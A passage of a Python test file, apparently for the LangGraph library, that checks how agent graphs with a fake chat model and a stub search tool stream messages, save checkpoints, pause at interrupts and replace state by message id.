content=output, name=input["name"], tool_call_id=input["id"] + ) + } + + # Define a new graph + workflow = StateGraph(AgentState) + + # Define the two nodes we will cycle between + workflow.add_node("agent", agent) + workflow.add_node("tools", tools_node) + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point("agent") + + # We now add a conditional edge + workflow.add_conditional_edges("agent", should_continue) + + # We now add a normal edge from `tools` to `agent`. + # This means that after `tools` is called, `agent` node is called next. + workflow.add_edge("tools", "agent") + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + app = workflow.compile() + + assert app.invoke({"messages": HumanMessage(content="what is weather in sf")}) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + AIMessage(content="answer", id="ai3"), + ] + } + + assert [ + c + for c in app.stream( + {"messages": [HumanMessage(content="what is weather in sf")]} + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + }, + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + } + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ) + }, + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + }, + }, + {"agent": {"messages": AIMessage(content="answer", id="ai3")}}, + ] + + # interrupt after agent + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + {"messages": HumanMessage(content="what is weather in sf")}, + config, + durability="exit", + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = (app_w_interrupt.get_state(config)).values["messages"][-1] + last_message.tool_calls[0]["args"]["query"] = "a different query" + app_w_interrupt.update_state( + config, {"messages": last_message, "something_extra": "hi there"} + ) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + }, + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + ] + }, + tasks=( + PregelTask(AnyStr(), "tools", (PUSH, 0, False)), + PregelTask(AnyStr(), "tools", (PUSH, 1, False)), + ), + next=("tools", "tools"), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + { + "messages": AIMessage(content="answer", id="ai2"), + "something_extra": "hi there", + }, + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ] + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + # interrupt before tools + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["tools"], + ) + config = {"configurable": {"thread_id": "2"}} + model.i = 0 + + assert [ + c + for c in app_w_interrupt.stream( + {"messages": HumanMessage(content="what is weather in sf")}, + config, + durability="exit", + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = (app_w_interrupt.get_state(config)).values["messages"][-1] + last_message.tool_calls[0]["args"]["query"] = "a different query" + app_w_interrupt.update_state( + config, {"messages": last_message, "something_extra": "hi there"} + ) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config=app_w_interrupt.checkpointer.get_tuple(config).config, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + }, + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + ] + }, + tasks=( + PregelTask(AnyStr(), "tools", (PUSH, 0, False)), + PregelTask(AnyStr(), "tools", (PUSH, 1, False)), + ), + next=("tools", "tools"), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + { + "messages": AIMessage(content="answer", id="ai2"), + "something_extra": "hi there", + }, + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ] + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [*app_w_interrupt.checkpointer.list(config, limit=2)][-1].config + ), + interrupts=(), + ) + + +def test_message_graph( + snapshot: SnapshotAssertion, + deterministic_uuids: MockerFixture, + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from copy import deepcopy + + from langchain_core.callbacks import CallbackManagerForLLMRun + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import AIMessage, BaseMessage, HumanMessage + from langchain_core.outputs import ChatGeneration, ChatResult + from langchain_core.tools import tool + + class FakeFunctionChatModel(FakeMessagesListChatModel): + def bind_functions(self, functions: list): + return self + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> ChatResult: + response = deepcopy(self.responses[self.i]) + if self.i < len(self.responses) - 1: + self.i += 1 + else: + self.i = 0 + generation = ChatGeneration(message=response) + return ChatResult(generations=[generation]) + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + model = FakeFunctionChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + AIMessage(content="answer", id="ai3"), + ] + ) + + # Define the function that determines whether to continue or not + def should_continue(messages): + last_message = messages[-1] + # If there is no function call, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + # Define a new graph + workflow = StateGraph(state_schema=Annotated[list[AnyMessage], add_messages]) # type: ignore[arg-type] + + # Define the two nodes we will cycle between + workflow.add_node("agent", model) + workflow.add_node("tools", ToolNode(tools)) + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point("agent") + + # We now add a conditional edge + workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "tools", + # Otherwise we finish. + "end": END, + }, + ) + + # We now add a normal edge from `tools` to `agent`. + # This means that after `tools` is called, `agent` node is called next. + workflow.add_edge("tools", "agent") + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke([HumanMessage(content="what is weather in sf")]) == [ + _AnyIdHumanMessage( + content="what is weather in sf", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", # respects ids passed in + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + ), + AIMessage(content="answer", id="ai3"), + ] + + assert [*app.stream([HumanMessage(content="what is weather in sf")])] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + { + "tools": [ + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + { + "tools": [ + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + ) + ] + }, + {"agent": AIMessage(content="answer", id="ai3")}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + ("human", "what is weather in sf"), config, durability="exit" + ) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = app_w_interrupt.get_state(config).values[-1] + last_message.tool_calls[0]["args"] = {"query": "a different query"} + next_config = app_w_interrupt.update_state(config, last_message) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config=next_config, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": [ + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + AIMessage(content="answer", id="ai2"), # replace existing message + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ], + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["tools"], + ) + config = {"configurable": {"thread_id": "2"}} + model.i = 0 # reset the llm + + assert [ + c + for c in app_w_interrupt.stream( + "what is weather in sf", config, durability="exit" + ) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = app_w_interrupt.get_state(config).values[-1] + last_message.tool_calls[0]["args"] = {"query": "a different query"} + app_w_interrupt.update_state(config, last_message) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": [ + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + AIMessage(content="answer", id="ai2"), + ) + + # replaces message even if object identity is different, as long as id is the same + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage(content="answer", id="ai2"), + ], + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + # add an extra message as if it came from "tools" node + app_w_interrupt.update_state(config, ("ai", "an extra message"), as_node="tools") + + # extra message is coerced BaseMessage and appended + # now the next node is "agent" per the graph edges + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + id=AnyStr(), + ), + AIMessage(content="answer", id="ai2"), + _AnyIdAIMessage(content="an extra message"), + ], + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 6, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + +def test_root_graph( + deterministic_uuids: MockerFixture, + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from copy import deepcopy + + from langchain_core.callbacks import CallbackManagerForLLMRun + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import ( + AIMessage, + BaseMessage, + HumanMessage, + ToolMessage, + ) + from langchain_core.outputs import ChatGeneration, ChatResult + from langchain_core.tools import tool + + class FakeFunctionChatModel(FakeMessagesListChatModel): + def bind_functions(self, functions: list): + return self + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> ChatResult: + response = deepcopy(self.responses[self.i]) + if self.i < len(self.responses) - 1: + self.i += 1 + else: + self.i = 0 + generation = ChatGeneration(message=response) + return ChatResult(generations=[generation]) + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + model = FakeFunctionChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + AIMessage(content="answer", id="ai3"), + ] + ) + + # Define the function that determines whether to continue or not + def should_continue(messages): + last_message = messages[-1] + # If there is no function call, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + class State(TypedDict): + __root__: Annotated[list[BaseMessage], add_messages] + + # Define a new graph + workflow = StateGraph(State) + + # Define the two nodes we will cycle between + workflow.add_node("agent", model) + workflow.add_node("tools", ToolNode(tools)) + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point("agent") + + # We now add a conditional edge + workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "tools", + # Otherwise we finish. + "end": END, + }, + ) + + # We now add a normal edge from `tools` to `agent`. + # This means that after `tools` is called, `agent` node is called next. + workflow.add_edge("tools", "agent") + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + app = workflow.compile() + + assert app.invoke(HumanMessage(content="what is weather in sf")) == [ + _AnyIdHumanMessage( + content="what is weather in sf", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", # respects ids passed in + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + ), + AIMessage(content="answer", id="ai3"), + ] + + assert [*app.stream([HumanMessage(content="what is weather in sf")])] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + { + "tools": [ + ToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + id="00000000-0000-4000-8000-000000000004", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + { + "tools": [ + ToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + id="00000000-0000-4000-8000-000000000005", + ) + ] + }, + {"agent": AIMessage(content="answer", id="ai3")}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + ("human", "what is weather in sf"), config, durability="exit" + ) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = app_w_interrupt.get_state(config).values[-1] + last_message.tool_calls[0]["args"] = {"query": "a different query"} + next_config = app_w_interrupt.update_state(config, last_message) + + # message was replaced instead of appended + assert app_w_interrupt.get_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + ], + 